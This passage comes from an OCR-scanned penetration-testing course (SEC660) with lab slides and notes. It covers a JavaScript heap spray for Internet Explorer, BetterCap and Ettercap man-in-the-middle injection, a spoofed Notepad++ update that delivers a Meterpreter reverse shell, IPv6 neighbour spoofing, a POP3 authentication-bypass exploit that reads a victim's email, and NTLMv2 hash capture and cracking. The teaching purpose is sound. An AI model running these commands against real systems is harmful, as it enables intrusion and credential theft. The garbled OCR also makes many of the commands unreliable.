[ I ]  User Agent = Moz i l l a/ 5 . 0  ( i Phone ; CPU i Phone OS 9 2 l ike Mac OS X) Appl eWebKit/ 6 0 1 . 1 
( KHTM L ,  l ike Gecko ) CriOS / 4 7 . 0 . 2 5 2 6 . 7 0  Mob i l e / 13C7 1 Safari / 6 0 1 . 1 . 4 6  

Using a BetterCap Proxy Module 
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After finishing the custom BetterCap proxy module, you can specify the filename with BetterCap using the - -
proxy-module argument, as shown on this page. The LogRequests module prints the header 
information (as shown), and replaces the title content for retrieved web pages. Note that in this example, the 
author also added the - - no- sslstrip argument to disable the default-on SSLstrip attack functionality. 

1 44 © 2018, Joshua Wright 





JavaScript Heap Spray Code 

< script > 
var div_container = docurnent . getElernentByi d ( "blah" ) ;  
div_container . style . cssText = " display : none " ;  
var data ; 
offset = 0x0 ; / /  Tweak this as part of your exploit 
j unk = unescape ( " %u 0 6 6 6 %u666 0 " ) ; / /  Just taking up space 
whi le ( j unk . length < 0xl 0 0 0 )  j unk += j unk ; 
ropl = unescape ( " %u414 1 %u4 141%u4 2 4 2 %u424 2 %u4 3 4 3 %u434 3 %u4444%u4 4 4 4 %u4 5 4 5 %u4 5 4 5 " ) ; / /  Your ROP code 
here 
shellcode = unescape ( '' %ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc 11 ) ;  // Your she l lcode here 
data = j unk . substring ( 0 , offse t )  + ropl + shel lcode 
data +=  j unk . substring ( 0 , 0x8 0 0  - offset - ropl . length - she l lcode . length ) ; 
while  ( data . length < 0x8 0 0 0 0 )  data += data ; 
alert ( " Spraying heap " ) ;  
for (var i = 0 ;  i < 0x5 0 0 ;  i++ )  { 

var obj = document . createElernent ( "button " ) ; 
obj . t itle = data . substring ( 0 , 0x4 0 0 0 0 - 0x58 ) ;  
div_container . appendChild ( obj ) ;  

This code is inc l uded in Kali Linux at /root/lab/day I /heapspray.js 
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JavaScript Heap Spray Code 
This slide shows the sample JavaScript heap spray code to inject against your Internet Explorer victim system. 
The ROP code and shellcode are just stub markers that you would replace with your own code as part of your 
exploit development process. The heap spray code is i ncluded on the Kali Linux VM in the file shown on this 
page. 

Note that, in the beginning of this heap spray code, the JavaScript looks for an HTML element with the ID 
"blah". This element ID  needs to exist (as a <div> tag) for the heap spray code to use in dynamically building 
elements. For an effective attack, use this JavaScript in conjunction with a page HTML modification that adds 
your own < div id= "blah " >< /div> element. 
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Exercise: Custom BetterCap P roxy Module (3) 

• STOP! Answers for the Custom BetterCap Proxy 
Module exercise follow 

• Proceed only after you have exhausted your 
options for completion on your own 

• Each successive page offers a little more help 
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Exercise: Custom BetterCap Proxy Module (3) 
Answers to the lab exercise follow; proceed no further unless you have exhausted your options for completing 
the exercise on your own. 
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Exercise: Completed BetterCap Proxy Module 

Included in notes pages 

root@kali : ~/ lab/dayl# bettercap -T 1 0 . 1 0 . 80 . 1  - -proxy-module heapspray . rb - -no- s s l s trip 
-G 10 . 10 . 10 . 7 0 

[ I ]  Start ing [ spoof ing : ?  discovery : ?  sniffer : ?  tcp-proxy : ?  http -proxy : ?  https -proxy : ?  
sslstrip : ?  http - server : ?  dns - serve r : true ] 

[ I ]  [DNS ] Starting on 1 0 . 1 0 . 8 1 . 1 : 5 3 0 0  . . .  
[ I ]  [TARGET] 1 0 . 1 0 . 8 0 . 1  : 4 E : 0A : AS : AF : C8 : 12 ( ? ? ?  ) 
[ I ]  [HTTP] Proxy starting on 1 0 . 1 0 . 8 1 . 1 : 8 0 8 0  . . .  
[DESKTOP-JR78RLP/ 1 72 . 16 . 0 . 2 00 ]  GET http : / /www . aol . com/ ( text/html ) [ 2 0 0 ]  
[ I ]  Detected IE Browser : Moz i l l a / 5 . 0  (Windows NT 1 0 . 0 ;  WOW64 ; Trident / 7 . 0 ;  rv : 11 . 0 ) l ike 
Gecko 
[ I ]  Ins ert ing heap spray JavaScript 

Optionally, you can use our supplied answer: cp . heapspray . rb . answer heaps pray . rb 
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Exercise: Completed BetterCap Proxy Module 
The completed BetterCap proxy module is shown as follows. 

Note: lfyou are completing this exercise on line, add the -1 tap0 argument to specify the VPN interface used to 
connect to the lab network. Also, add the -G I 0. 1 0. 1 0. 70 argument to specify the target server I 0. 1 0. 1 0. 70 as 
the other side of the MITM attack target. As the victim, you can browse to the http ://kittenwar.sec660.org 
server. If you are unable to reach the kittenwar.sec660.org host, make sure your DNS server is set to 
I 0. I 0. 1 0.78. 

=begin 

BETTER CAP 

Author 
Emai l  
Blog 

Joshua Wright 
j wright@wi l lhackforsushi . com 
https : / / twitter . com/j oswrlght 

Thi s  proj ect is released under the GPL 3 l icense . 

=end 

class  HeapSpray < BetterCap : : Proxy : : HTTP : : Module 
meta ( 

= >  ' HeapSpray ' , ' Name ' 
' Descript ion ' 

heap spray ' , 
= >  ' For Internet Explorer browsers , del iver a JS 
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Exercise: Custom BetterCap P roxy Module (5) 

• Further enhancements 
• Add more verbose logging output, disclosing request 

path, host, and other details when --heapspray-verbose 
is specified on the command line 

• Add a new command line to read JavaScript from the 
command line (instead of fixed file name in the proxy 
module) 

• Add a new command line to match User-Agent (regular 
expression) 
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Exercise: Custom BetterCap Proxy Module (5) 
If you have time remaining in this exercise, consider enhancing the functionality of your proxy module: 

• Add more verbose logging output, disclosing the request path, the requested host, and other details 
when the --heapspray-verbose argument is used 

• Add a new command line to read the JavaScript heap spray code from the command line, instead of 
referencing it from a fixed str ing in the script 

• Add a new command line to match the User-Agent as a command line argument, either as a simple 
string or as a regular expression 

This completes our exercise, congratulations ! 
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Loki OSP F  Enumeration 

TYP8_R.0Ul ER_LINKS un IGS.100.11) 19..?,168 100.20 , �PE_"ffiANSJf_NtT 

TYPE.J\.OUTER. LINKS 172,lG.0,l 
Tv.-:OE_HOUTEA._UNIC; 1 i'? lb O 7 

� l\;,,.i. l.69,100.10 171.16.1.1 

('. l')n1�ll(l 1rm Cradnng ln1•-=t1on 
Aro.;ii 

Authe,ntlt.itlo11  

ALJTH_NONE � ' 

Typ'i> -Py 

2�5-��S.;255.2'5'5 WPE .STUO_NfT 
.i::>'l.�5�, . .?5:5 . .i�:i TYP�_::.1va_Nfl 

FUL L t•IONE 

I .  Start the Loki sniffing process 
2. Navigate to the ROUTING I ospf 

tab 
3. Identify the authentication method 

in use after observing OSPF traffic 
4. Change the Loki OSPF 

authentication type to reflect the 
method in use 

5. Change ID to " I "  (0 is reserved for 
no auth.) 

6. Send OSPF hello messages, start 
adjacency process with DR, BDR 

7. When state is FULL Loki has 
enumerated routing table; expand 
triangle to see all the discovered 
networks 
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Loki OSPF Enumeration 
We can use the Loki tool to exploit the OSPF protocol, as shown: 

I .  Start traffic sniffing with Loki by clicking the Start Sniffer button. Select the appropriate network 
interface when prompted and click OK. 

2. When Loki observes OSPF hello messages, the ROUTING tab will blink. Clicking this tab will reveal 
a blinking ospf tab. Click ROUTING I ospfto enter the OSPF attack component of Loki. 

3. Note the authentication in use on the network. If authentication is NONE, we can attack the OSPF 
process without first recovering a shared secret. Jf authentication is CRYPT, we must first recover the 
OSPF MD5 secret, which we'll examine next. 

4. Set the authentication type drop-down to match the AUTH column observed in #3.  
5.  Change the authentication ID value to 1 ;  this value reflects the index of the MD5 secret, which will 

usually be l .  If you are unable to connect with an authentication ID of I (and you are sure the key is 
correct), try other positive values (2, 3, 4, etc.). 

6. Click the "Hello" button, which will start the OSPF neighbor adjacency process. 
7. The state column will change to reflect each of the OSPF states; when the state reads "FULL", a 

drop-down arrow will appear next to the IP address of the device, allowing you to identify all the 
learned devices from the LSA exchange. 
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Router Virtual Machine 

• Alternatives to Loki: 
• Bring your own Cisco router on the pen test 
• Use a Cisco 10S virtual machine 

• Dynamips uses IOS firmware to boot virtual Cisco router (7200, 2600, 3600, and more) 
• You'll need an 10S software license 

• Dynagen is a frontend to Dynamips to simplify startup, configuration 

# dynagen router . cfg 
= >  list 
Name Type State Server Console 
Rl 2 6 2 1XM running localhost : 72 0 0  2 0 0 0  
= >  console Rl 
Connected to Dynamips VM "Rl " ( ID 0 ,  type c2 6 0 0 )  - Console port 
sec6 6 0 - rt r - l >show ver 
Cisco IOS Software , C2 6 0 0  Software ( C2 6 0 0 - ADVSECURITYK9 -M) , Vers ion 1 2 . 3 ( l l ) T , RELEASE 
SOFTWARE ( fc2 ) 

Router Virtual Machine 
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While Loki can be a useful tool for manipulating internal routing tables, it cannot replace all the functionality 
of a Cisco router. On a penetration test, you could bring a Cisco router to the organization and use it to attack 
the internal network infrastructure, or you could use a Cisco IOS virtual machine (VM) instead. 

Dynamips is a Cisco IOS VM that uses a Cisco IOS fi rmware image file to boot one or more virtual Cisco 
routers. Dynamips supports multiple router platforms including Cisco 1 700, 2600, 3600, 3700, and 7200 
devices. Further, Dynamips can virtually connect multiple routers running on the same host to physical 
network interfaces, or virtual interfaces. The virtual interface feature is useful for creating lab environments 
for learning how to configure Cisco routers, but the ability to connect a virtual router to a physical interface 
allows us to use Dynamips as a virtual router to attack internal network infrastructure. 

Dynamips is complex to configure and manage. A simple frontend to Dynamips is Dynagen. Dynagen is a 
Python script that handles the configuration and startup of virtual routers, as shown on this page. 

To use Dynagen and Dynamips, you will need a Cisco !OS image file. Cisco requires that you have a license 
to support the use of the Cisco IOS image file as well. Configuring Dynagen and Dynamips is somewhat 
complex, but a useful step-by-step tutorial is available for Windows and Linux users at http://www.gns3.net. 
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I Pv6 Penetration Testing 

• IPv6 adds new complexity to penetration testing 
• Also opens up new opportunities for an attack 

• Many organizations would say they have not yet 
adopted IPv6 . . .  
• . . .  incorrectly. IPv6 is widely deployed internally, with 

little monitoring or control 

• We '11 look at building essential IPv6 knowledge 
and attack techniques 

1Pv6 Penetration Testing 
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The lPv6 protocol adds new complexity for penetration testing, and for the management and monitoring of 
enterprise devices. At the same time, 1Pv6 creates new opportunities for attack as well, exploiting new flaws in 
1Pv6 deployments, or to simply bypass 1Pv4 defense systems. 

Many organizations would indicate that they have not yet adopted 1Pv6 internally for their organization. This 
is a misrepresentation, since many organizations have already adopted 1Pv6 unknowingly as a default 
component of modern operating systems, both in traditional computing devices and mobile device platforms. 
This lack of understanding on the use of lPv6 in organizations has also led to a lack of 1Pv6 monitoring 
systems capable of identifying attacks against lPv6 devices. 

In this module, we'll look at building some essential 1Pv6 knowledge in the format and operation of 1Pv6 
networks, and how we can target and exploit deficiencies in lPv6 deployments, whether intentional or 
unintentional. 
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1 Pv6 Header 

• Version: "6" 
• Traffic Class. :  QoS and 

prioritization 
Flow Label: Used with traffic 
class for QoS priorities 

• Payload Length: Length in 
bytes including extensions 
headers 

• Next Header: Formerly 
" Protocol", identifies the 
payload protocol ( can be more 
1Pv6) 

• Hop Limit: Same function as 
TTL, removing any notion of 
"time" 

Ver .. I Traffic Class. I Flow Label 
Payload Lenrth I Next Header I Hop Limit 

Source Address 

Destination Address 
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1 Pv6 Header 
First we'll look at the format and design of the 1Pv6 header. The layout of the 1Pv6 header is as follows: 

• Version: The 4-bit version field remains the same as in the previous 1Pv4 protocol, using a "6" instead 
of the previous "4". 

• Traffic Classification: The traffic classification field is 8 bits, used to identify the priority of the traffic. 
This field is like the 1Pv4 Type of Service (ToS) field. 

• Flow Label : The flow label field is new for 1Pv6 at 20 bits, used for specifying router handling options 
for the packet. 

• Payload Length: The 1 6-bit payload length field discloses the length of the 1Pv6 header, including the 
length of extensions (added fields) associated with the header. 

• Next Header: The next header field is 8 bits and replaces the IPv4 "protocol" field, identifying the next 
encapsulated protocol .  The next header type values are compatible with the values used in the 1Pv4 
protocol field. 

• Hop Limit: The hop limit field is 8 bits and replaced the Time To Live (TTL) field in 1Pv4. The hop 
limit field is decremented by one for each router that forwards the packet. 

• Source Address: The source address field is 1 6  bytes or 1 28 bits. 
• Destination Address : The destination address field is 1 6  bytes or 1 28 bits. 

Of these fields, only the flow label field is new. Al l  other fields have an analogous component in 1Pv4. 
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1 78 

• 2000: :/1 6 - used for stateless autoconfiguration of 1Pv6 addresses using the EUI 64 expansion 
method, leveraging the client MAC address 

• 2001 : :/16 - Internet-wide global allocation of1Pv6 address space to regional registries (analogous 
to former 1Pv4 unique organizational address space allocations including 4.0.0.0/8, 64.24.0.0/16, 
etc.) 

• 2001 :db8: :/32 - used for documentation purposes 

With 1Pv6, MAC addresses are also extended to 64 bits for automatic 1Pv6 interface addressing using the 
IEEE standard EUI 64 technique. First, the 48-bit MAC address is split into two 3-byte chunks. A constant 2-
byte field of "FF:FE" is added in the middle. Next, the low-order second bit of the first byte of the MAC 
address is set to 1 if the MAC address is universally unique (which will be the case for common MAC 
addresses on Ethernet and wireless cards). This 64-bit value is used to represent the lower 64 bits of the 1Pv6 
address with the appropriate prefix information, as shown. 

A great cheat sheet reference for 1Pv6 addressing is available at: 
http:/ /www.roesen.org/files/ipv6 _ cheat_sheet.pd£ 
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1 Pv6 Neighbor Impersonation MITM Attack 

• Implemented by THC-IPV6 parasite6 tool 

• Useful for attacking link-local autoconfiguration (FE80: : /10) 
networks 

• Attempts to create symmetric MITM with unsolicited NA with 
override 

# sysctl -w net . ipv6 . conf . all . forwarding=l 
net . ipv6 . conf . al l . forwarding = 1 
# paras i te6  - lR e thO 
Remember to enable rout ing ( ip_forwarding ) , you wi l l  denial service otherwise ! 
Started ICMP6 Neighbor Solici tation Interceptor ( Press Control - C  to end ) . . .  
Spoofed packet to fc00 : 6 6 0 : 0 : 1 :  : 2  as f c 0 0 : 6 6 0 : 0 : 1 :  : 2 3 
Spoofed packet to fc0 0 : 6 6 0 : 0 : 1 :  : 2 3 as f c 0 0 : 6 6 0 : 0 : 1 :  : 2  
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1 Pv6 Neighbor I mpersonation MITM Attack 
The IPv6 Neighbor Impersonation MITM attack is implemented by the THC-lPV6 tool "parasite6". First, the 
attacker must configure their Linux host to forward IPv6 traffic as a router using sysctl, setting the 
net.ipv6.conf.all.forwarding to I .  Next, the attacker starts the parasite6 tool using the "-1" flag to loop and 
continue delivering the poisoned ICMPv6 NS messages. To establish a symmetric MITM attack, the attacker 
also specifies the "-R" argument, which will instruct parasite6 to send unsolicited ICMPv6 NS messages to the 
destination lPv6 node as well. 

The lPv6 Neighbor Impersonation MITM attack is particularly useful when exploiting link-local 
autoconfiguration nodes (using the address prefix FE80: :/ I  0), and when the attack intends to exploit a limited 
number of JPv6 targets. Since the attacker must send ICMPv6 NS messages frequently for each v ictim on the 
network, this attack does not scale well where lots of target devices are being exploited. In wide-scale lPv6 
MITM attacks, an alternate attack technique using router impersonation is recommended. 
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Remote 1 Pv6 Discovery 

• No opportunity for multicast node discovery with a 
remote IPv6 attack 

• Scanning IPv6 address space is impractical 

• Must rely on other enumeration techniques 
• DNS, error message content, HTTP/ JS content 

• Note IPv6 addresses of IPv 4 compromised hosts for 
additional pivot and exploitation opportunities 

# dig + short IN AAAA www . google . com 
www . l . googl e . com . 
2 6 0 7 : f Bb0 : 4 0 0 6 : 8 0 3 : : 1 0 1 0  

Remote 1Pv6 Discovery 
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The identification of remote 1Pv6 hosts is more complex than local node discovery. Without the ability to 
observe multicast transmissions from remote 1Pv6 nodes, a penetration tester must seek alternate node 
discovery techniques. 

Remote 1Pv6 node discovery is still a developing reconnaissance technique, but it commonly requires 1Pv6 
information leakage over 1Pv4 protocol scanning and enumeration. For example, when performing 
reconnaissance of a remote network over 1Pv4, we can use DNS lookups for the 1Pv6 AAAA record type to 
identify remote I Pv6 hosts. Also, the inspection of error messages from web servers, database servers, and 
other services may also disclose the use of lPv6 networking in leaked address information. 

When performing an attack against remote hosts, be sure to inspect the configuration of compromised hosts to 
identify the presence of 1Pv6 configuration information. The compromise of an 1Pv4 host may allow an 
attacker to pivot and escalate internal network access while bypassing IDS or other monitoring systems by 
leveraging 1Pv6 as the transport mechanism. 
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Exercise: I Pv6 Attack ( I ) 

• Passively identify active IPv6 nodes with detect­
new-ip6 

• Scan and identify services accessible on 
10. 10 . 10.70/fcoo:660 :o : 1 : :46 not accessible on 
IPv4 

• Identify and exploit service using jwpoppy tool for 
the user "ejobs" 

Exploit: /root/lab/day I /jwpOppy.tgz 
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Exercise: 1Pv6 Attack (1) 
Next we'll tum to a lab exercise to discover, scan, and exploit a target IPv6 connected host. In this exercise, 
evaluate the lab network to identify and detect new 1Pv6 nodes using the THC-1Pv6 detect-new-ip6 tool. 

Scan and identify the TCP services on the host at 1 0. 1 0. 1 0. 70 for IPv4 and fc00:660:0: I :  :46 for IPv6. Identify 
and exploit the IPv6 service for the "ejobs" user with the jwp0ppy exploit tool available on the Kali Linux VM 
at /root/Iab/dayl /jwp0ppy.tgz. 
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Scan Target: 1 P v6 

root@ka l i : ~# nmap - s S  - 6  fc00 : 6 6 0 : 0 : 1 : : 4 6 

Start ing Nmap 7 . 2 5BETA2 ( https : / /nmap . org ) at 2 0 1 8 - 0 2 - 06 0 7 : 5 9 PST 
Nmap scan report for fc00 : 66 0 : 0 : 1 :  : 4 6 
Host i s  up ( 0 . 0 5 9 s  latency) . 
Not shown : 9 9 8  closed ports 
PORT STATE SERVICE 
2 2 / tcp open ssh 
1 1 0 /tcp open pop3 
MAC Address : 0 0 : 5 0 : 5 6 : AD : 7 4 : 3 C (VMware ) 

Nmap done : 1 I P  address ( 1  host up ) scanned in 1 5 . 9 9 seconds 
root@kali : ~# neat - 6  fc00 : 6 6 0 : 0 : 1 : : 4 6  110  
+OK j wpopper POP3 server ready 
Ac 

Scan Target: 1Pv6 

POP3 bound to 1 Pv6 stack, banner reveals "jwpopper" 
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Scan the target system again with Nmap, this time over the 1Pv6 stack. Note that a new service is identified on 
TCP/I 1 0. 

Connect to the target service using the neat utility with the -6 argument. The returned banner reveals that the 
service does appear to be a POP3 server running the "jwpopper" POP3 daemon. 

This POP3 daemon is vulnerable to an authentication bypass flaw. For the target user "ejobs", exploit the 
vulnerability using the jwp0ppy exploit tool to obtain the victim's email. 
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Jwpopper Exploit: jwpOppy 

• The jwpopper server is vulnerable to an 
authentication bypass vulnerability 

• Extract files from tarball, examine READ ME, build 
and launch exploit 

# cd /root/lab/dayl 
# tar xfz jwpOppy . tgz 
# cd jwpOppy 
/ j wp0ppy# make 

cc -Wall  j wp0ppy . c -o  j wp0ppy 
/ j wpOppy# cat README 
j wpopper REMOTE EXPLOIT AUTHENTI CATION BYPASS 
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Jwpopper Exploit: jwpOppy 
The jwpOppy exploit is included on the Kali Linux VM. Extract the tarball and compile the tool using the 
"make" utility. Examine the README file to learn more about the exploit itself. 

After learning more about the vulnerability and the exploit, leverage the jwpOppy tool to bypass authentication 
on the server and obtain the secret email associated with the "ejobs" account. 
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JwpOppy Limitation 

# . /jwpOppy 
j wp0ppy : Exploit for j wpopper POP3 server . 

Al lows us to get ema i l  without a password . 

usage : . / j wp0ppy <hostname > <port > <username > [delay/usec)  
# . /jwp0ppy fc0 0 : 6 6 0 : 0 : 1 : : 4 6 110  ejobs 
j wp 0ppy : Exploit  for j wpopper POP3 server . 

Al lows us to get ema i l  without a password . 

ERROR , no such host as f c 0 0 : 6 6 0 : 0 : 1 :  : 4 6 

The jwpoppy tool is not written to accommodate IPv6 hosts. 
You could rewrite the tool, or set up an IPv4-to-IPv6 proxy. 
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JwpOppy Limitation 
Attempting to exploit the jwpopper POP3 server with the jwp0ppy tool proves difficult. The jwp0ppy tool, 
written in C, does not include support for an 1Pv6 target. Also, the POP3 port on the 1Pv4 stack is not listening, 
returning a "Connection refused" error. 

You could rewrite the jwp0ppy tool to include IPv6 support, but an easier option is available. Configure an 
IPv4-to-IPv6 proxy on your local Kali Linux system to facilitate the use of the jwp0ppy tool against the 1Pv6 
target system. 
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1 Pv4-to- 1 Pv6 Proxy 

# socat TCP -LISTEN : 110 , reuseaddr , fork TCP6 : [ fc00 : 6 6 0 : 0 : 1 :  : 4 6 ]  : 110 

# . / jwp0ppy localhost 110 ejobs 
j wp0ppy : Exploit for j wpopper POP3 server . 

Al lows us to get email  without a pas sword . 

--
. - +oO ( 0 ) Oo+ - . - +oO ( 0 ) Oo+ - . - +oO ( 0 ) Oo+ - . - +oO ( 0 ) Oo+ - . - +oO ( 0 ) Oo+ - . - +o 
SCORE ! +OK ej obs i s  welcome here . 
Sending LIST : 
+OK 1 messages ( 3 2 6 5  octet s )  
1 3 2 6 5  

Sending RETR : 
+OK 3 2 6 5  octets 
Return- Path : < j wright@hasborg . com> 
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1Pv4-to-1Pv6 Proxy 
I n  one terminal window, start the socat tool, listening on a local port ofTCP/1 1 0, redirecting to the same port 
number on the 1Pv6 host as shown here. 

Next, in a different terminal window, return to the jwpOppy tool, this time specifying the local host as the 
target. The jwpOppy tool will connect to the local socat listener, redirecting all the traffic to the specified 1Pv6 
target system. After several seconds, the target system will be successfully exploited, revealing a sensitive 
email message for the targeted victim. 

Congratulations! This is the end of the lab exercise. 
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Network Exploitation 

• Access to the network - check 

• Ability to manipulate clients with MITM - check 

• Next, we'll look at techniques to exploit clients 
and infrastructure devices 

Network Exploitation 
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So far we've looked at mechanisms to gain additional access to the network, through NAC bypass methods or 
VLAN hopping. We've also looked at techniques through which we can manipulate the network by 
implementing MITM attacks against multiple protocols including ARP, HSRP, and VRRP. 

With access to the network, and the ability to manipulate network traffic, we are well-suited to start taking 
advantage of network devices to exploit the network. Next we'll look at techniques to leverage our access and 
MITM position to exploit clients and infrastructure devices alike. 
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Evilgrade Step I :  DNS Manipulation with Ettercap 

# echo "notepad-plus . sourceforge . net A 10 . 10 . 10 . 10 11 >> /etc/ettercap/etter . dns 
# sudo ettercap - TqM arp : remote / 1 0 . 10 . 10 . 1 - 2 54 / /  / 10 . 10 . 10 . 1 - 2 5 4 / /  
ettercap 0 . 8 . 2 copyright 2 0 0 1 - 2 0 1 5  Ettercap Devel opment Team 
p 

Available plugins 

[ O J 
[ O J  
[ O J  
[ O J  
[ O J  
[ O J  
[ O J  
[ 0 ]  
[ O J  

arp_cop 1 . 1  
dns_spoof 1 . 1  

dos attack 1 . 0  
f inger 1 .  6 

f inger_submit 1 . 0  
rand f lood 1 . 0  

remote browser 1 . 2  
smb c lear 1 . 0  

smb down 1 . 0  

Report suspicious ARP act ivity 
Sends spoofed dns replies  
Run a d . o . s .  attack against an I P  address 
Fingerprint a remote host 
Submit a f ingerprint to ettercap ' s  website 
Flood the LAN with random MAC addresses 
Sends vis ited URLs to the browser 
Tries to force SMB c leartext auth 
Tries to force SMB to not use NTLM2 key auth 

Plugin name ( 0  to qui t ) :  dns_spoof 
Act ivating dns spoof p lugin . . .  
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Evilgrade Step I :  DNS Manipulation with Ettercap 
For our example, we'll look at manipulating the popular text-editor Notepad++ update process. First, we'll use 
Ettercap to create a MITM attack position and impersonate the notepad-plus.sourceforge.net server used to 
check for update availability and to deliver the updated software. 

Ettercap includes support for manipulating DNS responses, spoofing the DNS response for any hostname you 
specify in the etter.dns file. On the top of this slide we append to the etter.dns file an A record for "notepad­
plus.sourceforge.net", pointing to the attacker at I 0. 1 0. 1 0. 1 0. 

Next we invoke Ettercap using ARP spoofing to create a MITM attack using the arguments we examined 
earlier. After Ettercap starts, press "p" to list the available plugins (the list shown on this slide has been 
trimmed for space). To load the dns_spoofplugin, which will leverage the etter.dns file to obtain the list of 
hosts to impersonate, enter the plugin name "dns_spoof' and press Enter. 
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Evilgrade Step 4: Update Delivery Status 

• Evilgrade web server logs each request and response 

• Initial request to "Check for Update" page 

• Subsequent request for update executable 
evi lgrade ( notepadplus ) >  
[ 2 9 / 9 / 2 0 1 0 : 1 6 : 2 8 : 0 ] - [WEBSERVER] - [modules : : notepadplus]  - [ 1 0 . 1 0 . 1 0 . 11 3 ]  - Request : 
" getDownLoadUrl . php " 

evilgrade ( notepadplus ) > 
[ 2 9 / 9 / 2 0 1 0 : 1 6 : 2 8 : 4 ]  - [WEBSERVER] - [modules : : notepadplus]  - [ 1 0 . 1 0 . 1 0 . 1 1 3 ]  - Request : 
11 . exe 11 

evilgrade (notepadplus ) >  
[ 2 9 / 9 / 2 0 1 0 : 16 : 2 8 : 5 ] - [WEBSERVER] - [modules : : notepadplus ] - [ 1 0 . 1 0 . 1 0 . 11 3 ]  - Agent 
sent : " . /agent/ agent . exe " 
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Evilgrade Step 4: Update Delivery Status 
Evilgrade will log to standard output the status of client requests for updates, as shown on this slide. The first 
log entry indicates that the Notepad++ client requested the getDownLoadUrl.php page, which checks for an 
available update. The second entry indicates the client's request for the executable file to download and install, 
followed by the delivery of the agent/agent.exe file to the victim. 
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Evilgrade Step 5 :  Leverage Meterpreter Access 

• Return to the Meterpreter handler: 
[ * ]  Start ing the payload handler . . .  
[ * ]  Sending stage ( 7 4 8 544  bytes )  to 1 0 . 10 . 10 . 11 3  
[ * ]  Meterpreter session 1 opened ( 1 0 . 1 0 . 1 0 . 1 0 : 8 0 8 0  - >  1 0 . 1 0 . 1 0 . 1 1 3 : 6 0 2 1 3 ) 

meterpreter > sysinfo 
Computer : JWRIGHT-X3 0 0  
O S  Windows 7 ( Build 7 6 0 0 ,  ) . 
Arch x86  
Language : en  US 
meterpreter > shell 
Process 2 1 8 0  created . 
Channel 1 created . 
Microsoft Windows [Version 6 . 1 . 7 6 0 0 ]  
Copyright ( c )  2 0 0 9  Microsoft  Corporation .  All rights reserved . 

C : \ Program Files \Notepad++\updater> 
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Evilgrade Step 5: Leverage Meterpreter Access 
Returning to the attacker's screen where Metasploit was invoked to handle the reverse TCP Meterpreter 
interface we can see that when Notepad++ downloads and launches the "agent.exe" file delivered by Evilgrade 
as the Notepad++ update, the victim connects back to the Meterpreter handler. From the "meterpreter >"  
prompt we have tremendous control over the attacker's system, including shell access. 
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Ettercap MITM 

• Launch Ettercap with ARP MITM attack 
• Specify victim as first target, web server as the second 

target 

/XX . XX . XX . XX// 

Ettercap MITM 
Next, use Ettercap to create an ARP MITM attack as shown on this slide, specifying the path and filename of 
your compiled etterfilter file. In the first target designation, identify the victim IP address (replacing 
"XX.XX.XX.XX" with the Windows victim IP address). The second argument will be "/ 1 0. 1 0. 1 0.70/", 
creating a MITM between the victim and the lab web server used for this exercise. 

If you are completing this exercise as an on line student, remember to reference the tap0 interface instead of 
the eth0 interface. Add the "-i tap0" interface to the Ettercap command line: "et tercap - TqM 
arp : remote - F  smbcapture . e f - i  tap0 /XX . XX . XX . XX / /  / 1 0 . 1 0 . 1 0 . 7 0 / / "  
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Victim Browsing 

• Using Internet Explorer 
• Firefox does not honor UNC file paths in hrefs 

Victim Browsing 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking 259 

As the victim, browse to the website at http:// ! 0. 1 0. 1 0.70. If your Ettercap MITM and filter are correct, you 
should see a broken image in the web browser, as shown on this slide. Internet Explorer has automatically 
attempted to retrieve this image file from the Metasploit SMB capture server. 

If you don't see the broken image reference, your browser may be re-using a cached version of the website 
content. You can optionally modify your Ettercap filter source to remove the If-Modified-Since header, or 
simply refresh your browser while holding down Shift on your keyboard; this will cause the browser to ignore 
the browser cache and retrieve the content from the server. Optionally, you can delete the browsing history in 
Internet Explorer as well. 
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Metasploit SM B Server 

Also recorded in designated logging files 

msf auxil iary ( smb ) > 
[ * ]  SMB Captured - 2 0 1 7 - 1 1 - 16 00 : 3 6 : 3 0 - 0 8 0 0  

NTLMv2 Response Captured f rom 1 0 . 1 0 . 8 0 . 8 : 5 0 2 3 3  - 1 0 . 1 0 . 8 0 . 8  
USER : student DOMAIN : SEC6 6 0 -WIN10 OS : LM : 
LMHASH : Di sabled 
LM CLIENT CHALLENGE : Di sabled - -
NTHASH : dfb00e2d93aa712d5 f f c 0 1 4 0d6 fb8 7 5 4  
NT CLIENT CHALLENGE : 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 7 f 9ddfaef05ed3 0 1 6 7bac2 7 8 7 3 abbb2 6 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0  - -
0 0 0 0 0 0 0 0 0 0  

Windows may pass logged-in NTLMv2 
credentials, or may prompt for a network 

password. If prompted for a password, enter a 
password of "bbJ 1 43468". 

Enter Net':vork Passv.·ord 
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Metasploit SMB Server 
Returning to the Metasploit instance, you will see a msfconsole status entry for each authentication attempt. 
The example noted is from a Windows 7 victim revealing the NTLMv2 hash information prior to prompting 
the user for authentication when the logged-in credential fails. Depending on the configuration of your 
Windows host, you also may be prompted to enter a password. lfyou are prompted for a password, enter the 
password "bb3 1 43468". 
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Optional: John NTLMv2 Cracking 

• Decompress rockyou.txt dictionary file 

• Retrieve 1 hash from log file 

• Crack with John 
root@kali : ~# cd /tmp 
root@kal i : /tmp# head - 1  / tmp/ j ohnpwn . txt_netntlmv2 >crack . txt 
root@kal i : /tmp# j ohn crack . txt - -wordlist=/usr/share/wordlists/rockyou . txt 
Us ing default input encoding : UTF- 8  
Loaded 1 password hash ( netntlmv2 , NTLMv2 C/R [MD4 HMAC-MD5 3 2 / 6 4 ] ) 
Press  ' q '  or Ctrl - C  to abort , almost any other key for status 
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Optional: John NTLMv2 Cracking 
With the recovered NTLMv2 hashes from Internet Explorer, we can mount a password cracking attack. 

Use the "head - 1 "  command to retrieve the first hash record from the johnpwn.txt_ netntlmv2 file, redirecting 
the output to "crack.txt", as shown. Then use John the Ripper to crack the password. John may or may not be 
able to crack your password, depending on the complexity of the password you chose when setting up the 
Windows 1 0  image, though hopefully you can imagine such a technique working effectively against a large 
number of users with many different passwords. 
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SMB Hash Capture:Troubleshooting 

• Double-check MITM effectiveness and IP 
addresses 

•Validate HTML being injected is a valid tag 

• Optionally check the source of the Kittenwar page 
on the victim to look for injected content 

SMB Hash Capture: Troubleshooting 
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If you are having trouble getting credentials from the victim running Internet Explorer, try these 
troubleshooting steps: 

262 

• Make sure the MITM attack is working in Ettercap. Browse to a website as the victim and press "s" to 
look at connection statistics in Ettercap. Make sure the packet receive count is increasing. 

